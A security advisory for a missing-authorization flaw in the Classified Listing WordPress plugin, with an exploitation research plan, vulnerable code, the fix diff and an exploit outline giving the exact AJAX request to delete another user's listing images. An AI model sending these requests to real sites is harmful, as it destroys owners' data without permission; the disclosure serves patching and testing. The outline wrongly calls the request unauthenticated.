Classified Listing – AI-Powered Classified ads & Business Directory Plugin <= 5.3.9 - Missing Authorization
Description
The Classified Listing – AI-Powered Classified ads & Business Directory Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 5.3.9. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=5.3.9What Changed in the Fix
Changes introduced in v5.3.10
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-42651 - Missing Authorization in Classified Listing ## 1. Vulnerability Summary The **Classified Listing** plugin for WordPress (versions up to 5.3.9) contains a missing authorization vulnerability in its AJAX gallery management functions. Specifically, the fu…
Show full research plan
Exploitation Research Plan: CVE-2026-42651 - Missing Authorization in Classified Listing
1. Vulnerability Summary
The Classified Listing plugin for WordPress (versions up to 5.3.9) contains a missing authorization vulnerability in its AJAX gallery management functions. Specifically, the functions gallery_delete and gallery_update_order within the Rtcl\Controllers\Ajax\AjaxGallery class fail to verify if the current user has permission to edit the post (listing) associated with the attachment being modified or deleted.
While the functions verify a security nonce (rtcl-gallery), they do not check if the authenticated user is the owner of the post_id or possesses the edit_others_rtcl_listings capability. This allows any authenticated user (Subscriber and above) to delete attachments from any listing or manipulate image ordering metadata.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
rtcl_gallery_delete(to delete attachments) orrtcl_gallery_update_order(to manipulate metadata). - Required Authentication: Subscriber-level access or above.
- Vulnerable Parameters:
attach_id: The ID of the attachment (media) to delete.post_id: The ID of the listing (post typertcl_listing) that owns the attachment._ajax_nonce: A valid nonce for thertcl-galleryaction.
3. Code Flow
Deletion Flow (gallery_delete)
- Entry:
AjaxGallery::__constructregisterswp_ajax_rtcl_gallery_delete. - Nonce Check:
gallery_delete()(Line 52) callscheck_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ). - Input: Fetches
attach_idandpost_idfrom$_POST. - Verification (Weak): It checks if the attachment exists and if its
post_parentmatches the providedpost_id(Line 71). - Missing Check: It does not check if the current user is the author of the
post_parentor has admin privileges. - Sink:
wp_delete_attachment( $attach_id )(Line 76) deletes the file and metadata.
Ordering Flow (gallery_update_order)
- Entry: Registers
wp_ajax_rtcl_gallery_update_order. - Nonce Check:
gallery_update_order()(Line 84) callscheck_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ). - Missing Check: No ownership or capability check for the provided
post_id. - Sink:
update_post_meta( $post_id, '_rtcl_attachments_order', $ordered_keys )(Line 93).
4. Nonce Acquisition Strategy
The rtcl-gallery nonce is required. It is typically localized when the gallery management scripts are enqueued, which happens on the "Add Listing" or "Edit Listing" pages.
- Identify Shortcode: The listing submission form is generated by the
[rtcl_post_form]shortcode. - Create Access Page: Create a public page containing this shortcode to ensure the script enqueues for the Subscriber.
wp post create --post_type=page --post_status=publish --post_title="Submit" --post_content='[rtcl_post_form]'
- Navigate: Login as a Subscriber and navigate to this page using
browser_navigate. - Extract Nonce: The plugin localizes data into a JavaScript object. Based on common RadiusTheme patterns, look for
rtcl_galleryorrtcl_common.- Verbatim check:
AjaxGallery.phpusesrtcl-gallery. - Recommended extraction:
browser_eval("rtcl_gallery.nonce")orbrowser_eval("rtcl_common.nonce"). (If these fail, search the page source for the string"rtcl-gallery"to find the specific variable name).
- Verbatim check:
5. Exploitation Strategy
We will demonstrate the vulnerability by deleting an attachment belonging to a listing owned by the Administrator.
Step 1: Target Identification
- Find a Listing ID (
post_id) owned by Admin. - Find an Attachment ID (
attach_id) associated with that listing.
Step 2: Nonce Retrieval
- Navigate to the submission page as a Subscriber.
- Extract the
rtcl-gallerynonce.
Step 3: Unauthorized Deletion
- Use the
http_requesttool to send the malicious POST request.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=rtcl_gallery_delete&_ajax_nonce=[NONCE]&attach_id=[VICTIM_ATTACH_ID]&post_id=[VICTIM_POST_ID]
6. Test Data Setup
- Admin Listing: Create a listing as admin.
wp post create --post_type=rtcl_listing --post_status=publish --post_title="Admin Listing" --post_author=1
- Attach Image: Upload an image and attach it to the listing.
wp media import /path/to/image.jpg --post_id=[LISTING_ID]- Capture the returned ID as
VICTIM_ATTACH_ID.
- Attacker User: Create a subscriber.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- Submission Page: Create the form page.
wp post create --post_type=page --post_status=publish --post_content='[rtcl_post_form]'
7. Expected Results
- The AJAX response should return
{"result": 1}. - The attachment should be permanently removed from the WordPress Media Library and the server filesystem.
8. Verification Steps
- Check Media: Verify the attachment no longer exists.
wp post exists [VICTIM_ATTACH_ID](should return error/not found).wp media list --post_id=[VICTIM_POST_ID](should be empty or missing that ID).
- Check Metadata: Verify the post meta for order is corrupted or points to non-existent IDs.
9. Alternative Approaches
If rtcl_gallery_delete is patched or fails, target rtcl_gallery_update_order:
- Body:
action=rtcl_gallery_update_order&_ajax_nonce=[NONCE]&post_id=[VICTIM_POST_ID]&ordered_keys[]=9999&ordered_keys[]=8888 - Verification:
wp post meta get [VICTIM_POST_ID] _rtcl_attachments_orderto confirm the metadata was updated without authorization.
Summary
The Classified Listing plugin for WordPress is vulnerable to unauthorized access and data manipulation due to missing authorization checks in several AJAX gallery handlers. Authenticated attackers with subscriber-level access can delete attachments, reorder images, or modify metadata for any listing by providing the target post ID, provided they can obtain a valid security nonce.
Vulnerable Code
// app/Controllers/Ajax/AjaxGallery.php:52 function gallery_delete() { if ( !check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) { echo wp_json_encode( [ "result" => 0, "error" => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" ) ] ); exit; } $attach_id = intval( $_POST["attach_id"] ); $attach = get_post( $attach_id ); if ( $attach === null ) { echo wp_json_encode( [ "result" => 0, "error" => __( "Attachment does not exist.", "classified-listing" ) ] ); } elseif ( $attach->post_parent != absint( Functions::request( "post_id" ) ) ) { echo wp_json_encode( [ "result" => 0, "error" => __( "Incorrect attachment ID.", "classified-listing" ) ] ); } elseif ( wp_delete_attachment( $attach_id ) ) { echo wp_json_encode( [ "result" => 1 ] ); } else { // ... } exit; } --- // app/Controllers/Ajax/AjaxGallery.php:84 function gallery_update_order() { if ( !check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) { wp_send_json_error( [ "error" => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" ) ] ); } $post_id = intval( Functions::request( "post_id" ) ); $ordered_keys = !empty( $_POST['ordered_keys'] ) && is_array( $_POST['ordered_keys'] ) ? $_POST['ordered_keys'] : []; $ordered_keys = $ordered_keys ? array_map( 'intval', $ordered_keys ) : []; $ordered_keys = $ordered_keys ? array_filter( $ordered_keys ) : []; if ( !empty( $ordered_keys ) ) { update_post_meta( $post_id, '_rtcl_attachments_order', $ordered_keys ); } wp_send_json_success( $ordered_keys ); }
Security Fix
@@ -10,6 +10,36 @@ class AjaxGallery { + /** + * Verify that the current user owns (or can edit) the given listing. + * Returns true when the request should be allowed, false otherwise. + */ + private function current_user_can_edit_listing( $post_id ) { + $post_id = absint( $post_id ); + + $listing = rtcl()->factory->get_listing( $post_id ); + if ( ! $listing ) { + return false; + } + + $post = $listing->get_listing(); + $post_author = (int) $post->post_author; + + // Guest temp posts created during unregistered posting. + if ( 'rtcl-temp' === $post->post_status && 0 === $post_author && Functions::is_enable_post_for_unregister() ) { + return true; + } + + return Functions::current_user_can( 'edit_' . rtcl()->post_type, $post_id ); + } + public function __construct() { add_action( 'wp_ajax_rtcl_gallery_upload', [ $this, 'gallery_upload' ] ); add_action( 'wp_ajax_rtcl_gallery_update_order', [ $this, 'gallery_update_order' ] ); @@ -39,6 +69,37 @@ } function gallery_delete() { - if ( !check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) { + if ( ! check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) { + echo wp_json_encode( [ + "result" => 0, + "error" => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" ), + ] ); + + exit; + } + + if ( ! is_user_logged_in() && apply_filters( 'rtcl_is_disable_post_for_unregister', true ) ) { + echo wp_json_encode( [ + "result" => 0, + "error" => __( "Registration required to delete listing image.", "classified-listing" ), + ] ); + + exit; + } + + $post_id = absint( Functions::request( "post_id" ) ); + if ( $post_id > 0 && ! $this->current_user_can_edit_listing( $post_id ) ) { echo wp_json_encode( [ "result" => 0, - "error" => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" ) + "error" => __( "You do not have permission to delete images for this listing.", "classified-listing" ), ] ); exit; } $attach_id = intval( $_POST["attach_id"] ); $attach = get_post( $attach_id ); if ( $attach === null ) { echo wp_json_encode( [ "result" => 0, - "error" => __( "Attachment does not exist.", "classified-listing" ) + "error" => __( "Attachment does not exist.", "classified-listing" ), + ] ); + + exit; + } + + if ( is_user_logged_in() && ( ! current_user_can( 'delete_post', $attach_id ) && ! current_user_can( 'manage_rtcl_listing_images' ) ) ) { + echo wp_json_encode( [ + "result" => 0, + "error" => __( "You are not allowed to delete listing images.", "classified-listing" ), ] ); - } elseif ( $attach->post_parent != absint( Functions::request( "post_id" ) ) ) { + + exit; + } + + if ( $attach->post_parent != absint( Functions::request( "post_id" ) ) ) { echo wp_json_encode( [ "result" => 0, - "error" => __( "Incorrect attachment ID.", "classified-listing" ) + "error" => __( "Incorrect attachment ID.", "classified-listing" ), ] ); } elseif ( wp_delete_attachment( $attach_id ) ) { echo wp_json_encode( [ "result" => 1 ] );
Exploit Outline
1. Access the site as an authenticated user (Subscriber role or above). 2. Navigate to a page containing the listing submission form (e.g., using the [rtcl_post_form] shortcode) and extract the 'rtcl-gallery' nonce localized in the page source. 3. Identify a victim listing ID (post_id) and a media attachment ID (attach_id) associated with that listing. 4. Send an unauthenticated AJAX POST request to '/wp-admin/admin-ajax.php' using the action 'rtcl_gallery_delete'. 5. Include the valid nonce, the target 'attach_id', and the target 'post_id'. 6. The plugin will execute wp_delete_attachment() on the victim's media because it lacks a check to verify that the current user owns the listing specified by 'post_id'.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.